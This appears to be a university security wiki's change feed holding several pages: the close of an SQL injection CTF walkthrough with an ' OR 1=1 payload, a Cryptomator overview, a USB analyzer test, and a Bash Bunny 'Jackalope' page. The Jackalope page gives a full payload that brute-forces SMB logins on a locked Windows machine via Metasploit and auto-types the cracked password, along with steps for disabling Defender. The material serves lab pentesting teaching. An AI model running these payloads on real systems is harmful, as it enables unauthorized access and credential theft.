[[File:DefendTheWebNetSqlInjectionB.png|600px|Screenshot of the SQLInjection challenge error page the failed execution as stated in the paragraph above]]&lt;br /&gt;
&lt;br /&gt;
For the exploit itself we can now use any username, as the script will not check this anyway after our changes, and the password &amp;lt;code&amp;gt;&amp;quot;&#039; OR 1=1;&amp;quot;&amp;lt;/code&amp;gt;. The query will be rendered in the background to &amp;lt;code&amp;gt;&amp;quot;SELECT * FROM users WHERE username = &#039;silvie&#039; AND password = &#039;&#039; OR 1=1;&#039;&amp;quot;&amp;lt;/code&amp;gt;. The query now evaluates two parts, the one before the OR and the other after. The first one will probably fail because the user may not exist or even if it does, the password will probably not be empty. The second part will always be true, because 1 equals 1. The single quote at the end will be ignored, because we added a semicolon at the end that finishes the query.&lt;br /&gt;
&lt;br /&gt;
[[File:DefendTheWebNetSqlInjectionC.png|400px|Screenshot of the SQLInjection challenge succeeded]]&lt;br /&gt;
&lt;br /&gt;
== Alternatives ==&lt;br /&gt;
&lt;br /&gt;
=== Root Me ===&lt;br /&gt;
The CTF platform [[Root_Me|Root Me]] has established only two years after Defend The Web in 2010, but offers already more than 540 challenges. &amp;lt;ref name=&amp;quot;rmchallenges&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Hack The Box ===&lt;br /&gt;
Another alternative is [https://www.hackthebox.com Hack The Box], which offers over 500 challenges &amp;lt;ref name=&amp;quot;htbchallenges&amp;quot;/&amp;gt; but also attracts by doing community events all over the world. &amp;lt;ref name=&amp;quot;htbcommunityevents&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&amp;lt;references&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;dtw&amp;quot;&amp;gt;https://defendtheweb.net&amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;logo&amp;quot;&amp;gt;https://www.facebook.com/defendtheweb/photos/a.163821580333961/2395529793829784/&amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;chatworkaround&amp;quot;&amp;gt;https://defendtheweb.net/discussion/83648-irc-chat&amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;htbcommunityevents&amp;quot;&amp;gt;https://www.hackthebox.com/events&amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;rmchallenges&amp;quot;&amp;gt;https://www.root-me.org/en/Challenges/&amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;htbchallenges&amp;quot;&amp;gt;https://www.hackthebox.com/about-us&amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;/references&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* https://defendtheweb.net&lt;br /&gt;
* https://owasp.org/www-project-top-ten/&lt;br /&gt;
* https://www.root-me.org&lt;br /&gt;
* https://www.hackthebox.com&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>Ikramer</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Cryptomator&amp;diff=14618</id>
		<title>Cryptomator</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Cryptomator&amp;diff=14618"/>
		<updated>2024-03-12T17:36:13Z</updated>

		<summary type="html">&lt;p&gt;Ikramer: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== General == &lt;br /&gt;
The open-source tool Cryptomator is an application for client-side encryption. This concept is applied when you want to upload your own data to a cloud service that needs to be protected, but you also want to ensure security. Client-side encryption refers to the concept of encrypting your own data on your own computer before uploading it to a cloud service.&amp;lt;ref&amp;gt;  https://support.google.com/a/answer/10741897?hl=de-de&amp;lt;/ref&amp;gt;  Cryptomator is a free tool due to its open-source nature, which allows you to quickly and independently protect your own data and documents regardless of the price. &amp;lt;ref&amp;gt;  https://cryptomator.org/de/ &amp;lt;/ref&amp;gt; &lt;br /&gt;
&lt;br /&gt;
== Operation ==&lt;br /&gt;
The operation of the application is relatively simple. You can quickly download the .exe file from the Cryptomator website. A page on the website that opens automatically after downloading provides an introduction to using the tool.  &amp;lt;ref&amp;gt;  https://docs.cryptomator.org/en/latest/ &amp;lt;/ref&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
If the application is opened, a window appears with the option to create a new folder, a so-called “vault,” with protected data. To do this, you must select a storage location, such as Google Docs, where the encrypted data should be stored. Then a password must be set for it. After successfully creating the folder and unlocking it by entering the password, a virtual drive is created in the file manager for each unlocked vault. The decrypted documents stored there are located in this virtual drive. In the meantime, only encrypted data can be found in the cloud service folder. Any number of vaults can be created. &lt;br /&gt;
 &lt;br /&gt;
[[File:Cryptomator.png|caption]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
At no time are decrypted data stored on the hard drive of your own computer. These are decrypted on-the-fly when accessed. &amp;lt;ref&amp;gt;  https://docs.cryptomator.org/en/latest/security/security-target/ &amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Security ==&lt;br /&gt;
Without the use of client-side encryption, data in cloud services would only be encoded during transmission and otherwise potentially stored in plaintext. This would allow attackers to read, steal, or manipulate personal data stored in the cloud in the event of a successful cloud hack. Cloud service providers also have the ability to read the data they are given if it is not passed on in an encrypted form. Cryptomator is a tool for greater security, both against hackers and cloud service providers themselves. The encryption is performed using the AES method and a key length of 256 bits.  &amp;lt;ref&amp;gt;  https://cryptomator.org/de/&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Encryption  ==&lt;br /&gt;
The documentation of the tool provides a comprehensive description of how file encryption works. Cryptomator is not a complete replacement for other encryption measures. To ensure functional synchronization with the cloud, some metadata is not encrypted. These include access, modification, and creation timestamps of files and folders, the number of files and folders in a vault and in the folders, as well as the size of the stored files.  &amp;lt;ref&amp;gt;  https://docs.cryptomator.org/en/latest/security/architecture/ &amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Other == &lt;br /&gt;
The preferred frontends for accessing files in cloud storage are WinFsp for Windows, macFUSE for macOS, and FUSE for Linux. If not available, Cryptomator will use WebDAV (an HTTP-based protocol) because it is mainly supported on every operating system.  &amp;lt;ref&amp;gt;  https://docs.cryptomator.org/en/latest/security/architecture/ &amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&amp;lt;references /&amp;gt;&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>Ikramer</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Beagle_USB_12_Protocol_Analyzer:_Test&amp;diff=14617</id>
		<title>Beagle USB 12 Protocol Analyzer: Test</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Beagle_USB_12_Protocol_Analyzer:_Test&amp;diff=14617"/>
		<updated>2024-03-12T17:33:31Z</updated>

		<summary type="html">&lt;p&gt;Ikramer: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
The Beagle USB 12 Protocol Analyzer is a nice tool to setup it quick and ease and allows engineers to debug problems quickly. You can capture, display and filter high-, full- and low-speed USB traffic in real time. &lt;br /&gt;
&lt;br /&gt;
[[File:Beagle_Analyzer_Front.jpg|400px|thumb|none|Beagle USB 12 Protocol Analyzer]]&lt;br /&gt;
&lt;br /&gt;
In the front of the analyzer there are the target host and target device ports. &lt;br /&gt;
They act as a passthrough to connect the target device to the host computer. &lt;br /&gt;
&lt;br /&gt;
[[File:Beagle Back.jpg|400px|thumb|none|Beagle USB 12 Protocol Analyzer]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
To be able to monitor the USB traffic you will need a software that captures and displays USB, USB Type-C Power Delivery, I2C, SPI, eSPI and CAN bus data through the Beagle. To download it from the Totalphase website you will need to create an account. This does not come with any subscription or cost factor.&lt;br /&gt;
You can [https://www.totalphase.com/products/data-center/?___ Download] the Data Center Software for following architectures:&lt;br /&gt;
&lt;br /&gt;
* Windows&lt;br /&gt;
* Linux&lt;br /&gt;
* MacOS&lt;br /&gt;
&lt;br /&gt;
If you are using a Windows or a Linux host, it is also important to download the appropriate drivers since without them Windows will not recognize the analyzer:&lt;br /&gt;
&lt;br /&gt;
* Windows [https://www.totalphase.com/products/usb-drivers-windows/ (here)]&lt;br /&gt;
* Linux [https://www.totalphase.com/products/usb-drivers-linux/ (here)]&lt;br /&gt;
&lt;br /&gt;
MacOS do not require any driver.&lt;br /&gt;
For more details like, key features, technical specifications or software requirements follow this [https://www.totalphase.com/products/beagle-usb12/ link].&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
With the type B USB cable connect the target host port at the front of the analyzer with your PCs USB port type A. &lt;br /&gt;
The analyzis port at the backside of the analyzer is connected with another type B USB connector to your PCs USB port type A.&lt;br /&gt;
Lastly you can then plug in your target device into the USB port type A of the analyzer. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Hands-On ===&lt;br /&gt;
&lt;br /&gt;
To capture traffic, click in the top toolbar at “Analyzer” and then on “Connect to Analyzer”. Confirm that the correct device is selected and click “OK”. &lt;br /&gt;
&lt;br /&gt;
[[File:Connect to Analyzer.png|800px|thumb|none|]]&lt;br /&gt;
&lt;br /&gt;
You can then connect the USB target device (for example a mouse) to the analyzer. After clicking on the play-button, we should then see all the packet data in real-time.&lt;br /&gt;
&lt;br /&gt;
[[File:Data Center Capture 1.png|800px|thumb|none|]]&lt;br /&gt;
&lt;br /&gt;
We can see that some interesting parameters like speed, timestamp, endpoint address and the actual data were captured. The captured data has been decoded into human readable messages.&lt;br /&gt;
At the beginning we can see the handshake between the computer and the connected device. &lt;br /&gt;
We can double-click on any packet to see the low-level data and the corresponding details, which are shown in hexadecimal and ASCII. A mouse click is symbolized by a field named “Btns=[1]”.&lt;br /&gt;
&lt;br /&gt;
[[File:Data Center Capture 2.png|800px|thumb|none|]]&lt;br /&gt;
&lt;br /&gt;
It should be now possible to click on the bottom of the Navigator at “LiveFilter” to filter for those events. This should be possible by entering “btns=[1]” in the text field. Apply the filter and all “click”-mouse events are shown. This should be possible for every kind of patterns, endpoint addresses, and more. &lt;br /&gt;
&lt;br /&gt;
[[File:Data Center Capture 3.png|800px|thumb|none|]]&lt;br /&gt;
&lt;br /&gt;
By turning off scrolling and disabling the filter, we can see all the data that occurred before and after the events. &lt;br /&gt;
You can also connect a USB hub to the analyzer and plug in multiple USB devices. All devices with their assigned addresses will be shown under the navigator in the Data Center software.&lt;br /&gt;
&lt;br /&gt;
[[File:Data Center Capture 4.png|800px|thumb|none|]]&lt;br /&gt;
&lt;br /&gt;
You can also find a lot of already captured examples under “Help”, “Examples”:&lt;br /&gt;
&lt;br /&gt;
[[File:Data Center Example Captures.png|800px|thumb|none|]]&lt;br /&gt;
&lt;br /&gt;
The protocol analyzer can therefore be very helpful for debugging errors or for forensic analysis, for example.&lt;br /&gt;
&lt;br /&gt;
== Used Hardware ==&lt;br /&gt;
&lt;br /&gt;
[[Beagle USB 12 Protocol Analyzer]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://www.totalphase.com&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;br /&gt;
[[Category:Pentesting]]&lt;/div&gt;</summary>
		<author><name>Ikramer</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Bash_Bunny_Exploit:_Jackalope&amp;diff=14616</id>
		<title>Bash Bunny Exploit: Jackalope</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Bash_Bunny_Exploit:_Jackalope&amp;diff=14616"/>
		<updated>2024-03-12T17:32:53Z</updated>

		<summary type="html">&lt;p&gt;Ikramer: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
Uses ethernet to attempt dictionary attacks against passwords. When the password is discovered, it is stored in a file for future use. The password may be used to unlock the machine by:&lt;br /&gt;
&lt;br /&gt;
* Manually select user &amp;amp; place focus on the password field at the login screen&lt;br /&gt;
* Toggle the switch position from switch1 to switch2 (or vice versa) &amp;amp; the bunny will auto-type the stored password.&lt;br /&gt;
&lt;br /&gt;
To clear a stored password, move the switch to switch3 (aka arming mode) after the payload runs and displays GREEN. The status light will change to SPECIAL (cyan) indicating the password has been removed. Positioning the switch to switch1 or switch2 will re-initiate the attack.&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
=== Required Tools ===&lt;br /&gt;
&lt;br /&gt;
You must have a Metasploit installation up and running in path /tools/metasploit-framework/&lt;br /&gt;
For the installation of additional tools to the Bash Bunny follow this link [https://forums.hak5.org/topic/40971-info-tools/ here] or download the tools you need by clicking on following links:&lt;br /&gt;
&lt;br /&gt;
* [https://storage.googleapis.com/bashbunny_tools/impacket-bunny.deb Impacket]&lt;br /&gt;
* [https://storage.googleapis.com/bashbunny_tools/responder-bunny.deb Responder]&lt;br /&gt;
* [https://storage.googleapis.com/bashbunny_tools/gohttp-bunny.deb Gohttp]&lt;br /&gt;
* [https://storage.googleapis.com/bashbunny_tools/metasploit-bunny.deb Metasploit-Framework] (Requires firmware 1.6 or above)&lt;br /&gt;
&lt;br /&gt;
By clicking on the links, a download will be started automatically. &lt;br /&gt;
Move the downloaded files in BashBunnys “loot” folder. Then unplug the device safely and plug it in again. The device will take some time to move the files to Linux (purple LED flashing). Wait until the LED is flashing in blue again.&lt;br /&gt;
No further initial configuration is required for Firmware v1.6+.&lt;br /&gt;
&lt;br /&gt;
=== Windows Defender ===&lt;br /&gt;
&lt;br /&gt;
When using a Windows machine, Windows Defender will complain and therefore block a lot of files and executions. You therefore have to unable the Real-time detection for your device to have Bash Bunny work properly. &lt;br /&gt;
&lt;br /&gt;
Follow these steps to temporarily turn off real-time Microsoft Defender antivirus protection in Windows Security. However, keep in mind that if you do, your device may be vulnerable to threats.&lt;br /&gt;
&lt;br /&gt;
&amp;amp;emsp;1. Select Start and type &amp;quot;Windows Security&amp;quot; to search for that app.&lt;br /&gt;
&lt;br /&gt;
&amp;amp;emsp;2. Select the Windows Security app from the search results, go to Virus &amp;amp; threat protection, and under Virus &amp;amp; threat protection settings select Manage settings.&lt;br /&gt;
&lt;br /&gt;
&amp;amp;emsp;3. Switch Real-time protection to Off. Note that scheduled scans will continue to run. However, files that are downloaded or installed will not be scanned until the next scheduled scan.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
=== Per attack configuration ===&lt;br /&gt;
&lt;br /&gt;
* userlist.txt contains usernames to use in attack.&lt;br /&gt;
* wordlist.txt contains passwords to use in attack.&lt;br /&gt;
&lt;br /&gt;
Note: A fantastic collection of password wordlists are available: [https://github.com/danielmiessler/SecLists SecLists]&lt;br /&gt;
&lt;br /&gt;
=== LED Status ===&lt;br /&gt;
&lt;br /&gt;
[[File:BashBunny_status.PNG|thumb|none|500px|LED Status lights]]&lt;br /&gt;
&lt;br /&gt;
A detailed description oft these LED states can be found [https://docs.hak5.org/bash-bunny/writing-payloads/led here].&lt;br /&gt;
&lt;br /&gt;
=== Payload ===&lt;br /&gt;
&lt;br /&gt;
This payload uses Metasploit for the exploit. Therefore, as already mentioned above, the Metasploit-Framework is needed. The framework uses the &#039;&#039;&#039;auxiliary/scanner/smb/smb_login&#039;&#039;&#039; module for the exploit. &lt;br /&gt;
&lt;br /&gt;
=== Exploit overview === &lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Name:&#039;&#039;&#039; SMB Login Check Scanner&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Module:&#039;&#039;&#039; auxiliary/scanner/smb/smb_login&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Source code:&#039;&#039;&#039; modules/auxiliary/scanner/smb/smb_login.rb&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Disclosure date:&#039;&#039;&#039; -&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Last modification time:&#039;&#039;&#039; 2021-08-31 17:10:07 +0000&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Supported architecture(s):&#039;&#039;&#039; -&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Supported platform(s):&#039;&#039;&#039; -&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Target service / protocol:&#039;&#039;&#039; microsoft-ds, netbios-ssn&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Target network port(s):&#039;&#039;&#039; 139, 445&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;List of CVEs:&#039;&#039;&#039; CVE-1999-0506&lt;br /&gt;
&lt;br /&gt;
This module will test a SMB login on a range of machines and report successful logins. If you have loaded a database plugin and connected to a database this module will record successful logins and hosts so you can track your access.&lt;br /&gt;
&lt;br /&gt;
Therefore, the firewall of the target PC needs to have port 445 (inbound traffic) opened. &lt;br /&gt;
&lt;br /&gt;
=== How do you enable port 445? ===&lt;br /&gt;
&lt;br /&gt;
Go Start &amp;gt; Control Panel &amp;gt; Windows Firewall and find Advanced settings on the left side. 2. Click Inbound Rules &amp;gt; New rule. Then in the pop-up window, choose Port &amp;gt; Next &amp;gt;TCP &amp;gt; Specific local ports and type 445 and go Next. Create the rule.&lt;br /&gt;
&lt;br /&gt;
Otherwise, you “network inaccessible” error, illustrate by a blinking red LED at the Bash Bunny.&lt;br /&gt;
&lt;br /&gt;
== Payload Preperation ==&lt;br /&gt;
&lt;br /&gt;
=== payload.txt ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
#&lt;br /&gt;
# Title: Jackalope&lt;br /&gt;
# Author: catatonic&lt;br /&gt;
# Version: 1.1.0&lt;br /&gt;
&lt;br /&gt;
# Check readiness &amp;amp; prepare environment&lt;br /&gt;
LED SETUP&lt;br /&gt;
&lt;br /&gt;
REQUIRETOOL metasploit-framework&lt;br /&gt;
ATTACKMODE HID RNDIS_ETHERNET&lt;br /&gt;
&lt;br /&gt;
# Ensure loot is available for recording results.&lt;br /&gt;
mount /dev/nandf /root/udisk/&lt;br /&gt;
&lt;br /&gt;
ORIGINAL_SWITCH=$SWITCH_POSITION&lt;br /&gt;
PAYLOAD_DIR=/root/udisk/payloads/$SWITCH_POSITION&lt;br /&gt;
LOOTBASE=/root/udisk/loot/Jackalope/&lt;br /&gt;
&lt;br /&gt;
# SETUP&lt;br /&gt;
GET TARGET_IP&lt;br /&gt;
GET TARGET_HOSTNAME&lt;br /&gt;
&lt;br /&gt;
COUNT=$(ls -lad $LOOTBASE/$TARGET_HOSTNAME* | wc -l)&lt;br /&gt;
COUNT=$((COUNT+1))&lt;br /&gt;
LOOTDIR=$LOOTBASE/$TARGET_HOSTNAME-$COUNT&lt;br /&gt;
mkdir -p $LOOTDIR&lt;br /&gt;
&lt;br /&gt;
MSF_DIR=/tools/metasploit-framework&lt;br /&gt;
&lt;br /&gt;
# Save environment informaiton:&lt;br /&gt;
echo &amp;quot;PAYLOAD_DIR: $PAYLOAD_DIR&amp;quot; &amp;gt;&amp;gt; $LOOTDIR/log.txt&lt;br /&gt;
echo &amp;quot;MSF_DIR: $MSF_DIR&amp;quot; &amp;gt;&amp;gt; $LOOTDIR/log.txt&lt;br /&gt;
echo &amp;quot;LOOTDIR: $LOOTDIR&amp;quot; &amp;gt;&amp;gt; $LOOTDIR/log.txt&lt;br /&gt;
echo &amp;quot;TARGET_IP: $TARGET_IP&amp;quot; &amp;gt;&amp;gt; $LOOTDIR/log.txt&lt;br /&gt;
echo &amp;quot;TARGET_HOSTNAME: $TARGET_HOSTNAME&amp;quot; &amp;gt;&amp;gt; $LOOTDIR/log.txt&lt;br /&gt;
&lt;br /&gt;
SYNC ()&lt;br /&gt;
{&lt;br /&gt;
	sync; sleep 1; sync&lt;br /&gt;
}&lt;br /&gt;
CLEAR_PW()&lt;br /&gt;
{&lt;br /&gt;
	LED SPECIAL&lt;br /&gt;
	rm $PAYLOAD_DIR/quack_pass.txt&lt;br /&gt;
	SYNC&lt;br /&gt;
	WAIT&lt;br /&gt;
}&lt;br /&gt;
ENTER_PW()&lt;br /&gt;
{&lt;br /&gt;
	sleep 1&lt;br /&gt;
	QUACK $ORIGINAL_SWITCH/quack_pass.txt&lt;br /&gt;
	QUACK ENTER&lt;br /&gt;
}&lt;br /&gt;
RECON()&lt;br /&gt;
{&lt;br /&gt;
	ATTACKMODE RNDIS_ETHERNET&lt;br /&gt;
	# Stage 1: Recon&lt;br /&gt;
	LED STAGE1&lt;br /&gt;
	echo &amp;quot;Executing nmap...&amp;quot; &amp;gt;&amp;gt; $LOOTDIR/log.txt&lt;br /&gt;
	nmap -p 445 -Pn $TARGET_IP &amp;gt; $LOOTDIR/nmap_results.txt&lt;br /&gt;
	if ! grep --quiet &amp;quot;445.*open&amp;quot; $LOOTDIR/nmap_results.txt;&lt;br /&gt;
	then&lt;br /&gt;
		LED FAIL2&lt;br /&gt;
		SYNC&lt;br /&gt;
		exit&lt;br /&gt;
	fi&lt;br /&gt;
}&lt;br /&gt;
EXPLOIT()&lt;br /&gt;
{&lt;br /&gt;
	# Stage 2: Exploit&lt;br /&gt;
	LED STAGE2&lt;br /&gt;
	export HOME=/root&lt;br /&gt;
	cd $MSF_DIR&lt;br /&gt;
	./msfconsole -q -x &amp;quot;use auxiliary/scanner/smb/smb_login; set RHOSTS $TARGET_IP; set USER_FILE $PAYLOAD_DIR/userlist.txt; set PASS_FILE $PAYLOAD_DIR/wordlist.txt; run; exit&amp;quot; &amp;gt; $LOOTDIR/msfconsole.txt&lt;br /&gt;
&lt;br /&gt;
	if ! grep --quiet &amp;quot;^\[+\]&amp;quot; $LOOTDIR/msfconsole.txt;&lt;br /&gt;
	then&lt;br /&gt;
		LED FAIL&lt;br /&gt;
		echo &amp;quot;Payload failed, no logins found...&amp;quot; &amp;gt;&amp;gt; $LOOTDIR/log.txt&lt;br /&gt;
		SYNC&lt;br /&gt;
		exit&lt;br /&gt;
	fi&lt;br /&gt;
&lt;br /&gt;
	grep &amp;quot;^\[+\]&amp;quot; $LOOTDIR/msfconsole.txt  | grep -o \&#039;.*\&#039; | cut -d &#039;:&#039; -f 1 | cut -d &amp;quot;&#039;&amp;quot; -f 2 &amp;gt; $LOOTDIR/user.txt&lt;br /&gt;
	grep &amp;quot;^\[+\]&amp;quot; $LOOTDIR/msfconsole.txt  | grep -o \&#039;.*\&#039; | cut -d &#039;:&#039; -f 2 | cut -d &amp;quot;&#039;&amp;quot; -f 1 &amp;gt; $LOOTDIR/password.txt&lt;br /&gt;
&lt;br /&gt;
	# Focus needs to be set on the password field manually.&lt;br /&gt;
	echo -n &amp;quot;STRING &amp;quot; &amp;gt; $PAYLOAD_DIR/quack_pass.txt&lt;br /&gt;
	cat $LOOTDIR/password.txt &amp;gt;&amp;gt; $PAYLOAD_DIR/quack_pass.txt&lt;br /&gt;
&lt;br /&gt;
	SYNC&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
# High level view.&lt;br /&gt;
while true&lt;br /&gt;
do&lt;br /&gt;
	if [ -f $PAYLOAD_DIR/quack_pass.txt ];&lt;br /&gt;
	then&lt;br /&gt;
		LED FINISH&lt;br /&gt;
	else&lt;br /&gt;
		RECON&lt;br /&gt;
		EXPLOIT&lt;br /&gt;
		continue&lt;br /&gt;
	fi&lt;br /&gt;
&lt;br /&gt;
	WAIT&lt;br /&gt;
&lt;br /&gt;
	# User&#039;s choice, clear old password or enter password.&lt;br /&gt;
	if [ &amp;quot;$SWITCH_POSITION&amp;quot; == &amp;quot;switch3&amp;quot; ];&lt;br /&gt;
	then&lt;br /&gt;
		CLEAR_PW&lt;br /&gt;
	else&lt;br /&gt;
		ENTER_PW&lt;br /&gt;
	fi&lt;br /&gt;
done&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== userlist.txt === &lt;br /&gt;
&lt;br /&gt;
Add here the usernames you want to attack on the target host, like for example:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Administrator&lt;br /&gt;
Willi&lt;br /&gt;
Gast&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== wordlist.txt === &lt;br /&gt;
&lt;br /&gt;
Add here the some common used passwords, which will be used to bruteforce the target host. For example: &lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;123456&lt;br /&gt;
password&lt;br /&gt;
12345678&lt;br /&gt;
qwerty&lt;br /&gt;
123456789&lt;br /&gt;
12345&lt;br /&gt;
1234&lt;br /&gt;
111111&lt;br /&gt;
1234567&lt;br /&gt;
dragon&lt;br /&gt;
123123&lt;br /&gt;
baseball&lt;br /&gt;
abc123&lt;br /&gt;
football&lt;br /&gt;
monkey&lt;br /&gt;
letmein&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Execution ==&lt;br /&gt;
&lt;br /&gt;
&amp;amp;emsp;1. Plug the configured Bash Bunny in the Windows target machine. The target machine’s screen should be locked, and the Bash Bunny’s button should be placed also correctly, depending on which switch you configured the payload (switch1 or switch2).&lt;br /&gt;
&lt;br /&gt;
&amp;amp;emsp;2. Bash Bunny’s LED lights purple until the execution of the payload. &lt;br /&gt;
&lt;br /&gt;
&amp;amp;emsp;3. While attacking the LED will blink in a yellow colour. &lt;br /&gt;
&lt;br /&gt;
&amp;amp;emsp;4. When Bash Bunny was successful, the LED will light green. &lt;br /&gt;
&lt;br /&gt;
&amp;amp;emsp;5. You will have then the two possibilities as already mentioned in the Description section. Do it manually or toggle the button to put in the password automatically into the password phrase.&lt;br /&gt;
&lt;br /&gt;
&amp;amp;emsp;6. After toggling the screen should lock up. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Result ==&lt;br /&gt;
&lt;br /&gt;
In Bash Bunnys “loot”-folder the output of the attack could be found after the attack. &lt;br /&gt;
Following files can be found: &lt;br /&gt;
&lt;br /&gt;
* log.txt --&amp;gt; Can be used for troubleshooting/debugging. &lt;br /&gt;
* msfconsole.txt --&amp;gt; The non- and matching events of users to passwords on target host will displayed in this textfile.&lt;br /&gt;
* nmap_ results.txt --&amp;gt; Here the output of the nmap-scan is shown.&lt;br /&gt;
* password.txt --&amp;gt; All matching passwords are saved in this text file.&lt;br /&gt;
* user.txt --&amp;gt; All matching users are saved in this text file.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://github.com/hak5/bashbunny-payloads/tree/master/payloads/library/credentials/Jackalope&lt;br /&gt;
* https://www.infosecmatter.com/metasploit-module-library/?mm=auxiliary/scanner/smb/smb_login&lt;br /&gt;
* https://frameboxxindore.com/windows/you-asked-how-do-i-open-port-445-on-windows-10.html&lt;br /&gt;
* https://support.microsoft.com/en-us/windows/turn-off-defender-antivirus-protection-in-windows-security-99e6004f-c54c-8509-773c-a4d776b77960&lt;br /&gt;
* https://wiki.bashbunny.com/#!index.md#Tools&lt;br /&gt;
* https://docs.hak5.org/bash-bunny/writing-payloads/led&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;br /&gt;
[[Category:Pentesting]]&lt;/div&gt;</summary>
		<author><name>Ikramer</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=BLE-Berry_Project&amp;diff=14615</id>
		<title>BLE-Berry Project</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=BLE-Berry_Project&amp;diff=14615"/>
		<updated>2024-03-12T17:32:14Z</updated>

		<summary type="html">&lt;p&gt;Ikramer: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
This Project is the result of a master’s thesis that created a Threat Model of the Bluetooth Low Energy (BLE) Standard and developing a tool called BLE Berry to enable easier BLE Development and to perform basic pentesting operations.&lt;br /&gt;
&lt;br /&gt;
== Threat Model ==&lt;br /&gt;
&lt;br /&gt;
The Threat Model was performed by analyzing the BLE portion of the BLE Standard and gathering further information&#039;s from numerous white papers and scientific papers. The gathered Threats and Vulnerabilities got mapped to the Layer/Protocol they are performed on, as shown in the figure below.&lt;br /&gt;
&lt;br /&gt;
[[File:BLE Berry Project Threat Model.png|800px]]&lt;br /&gt;
&lt;br /&gt;
Some of the Threats use other Threats as an entry vector, e.g., a machine-in-the-middle attack relies on address spoofing and can benefit from Radio Jamming. The dependencies of the Threat is shown in the figure below.&lt;br /&gt;
&lt;br /&gt;
[[File:BLE Berry Project Threat Dependencies.png|800px]]&lt;br /&gt;
&lt;br /&gt;
The STRIDE method was used to categorize the discovered Threats, as shown in the following table.&lt;br /&gt;
STRIDE separates the Threats in the following six categories:&lt;br /&gt;
* Spoofing&lt;br /&gt;
* Tampering&lt;br /&gt;
* Repudiation&lt;br /&gt;
* Information disclosure&lt;br /&gt;
* Denial of Service&lt;br /&gt;
* Elevation of Privilege &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:BLE Berry Project STRIDE3.png|600px]]&lt;br /&gt;
&lt;br /&gt;
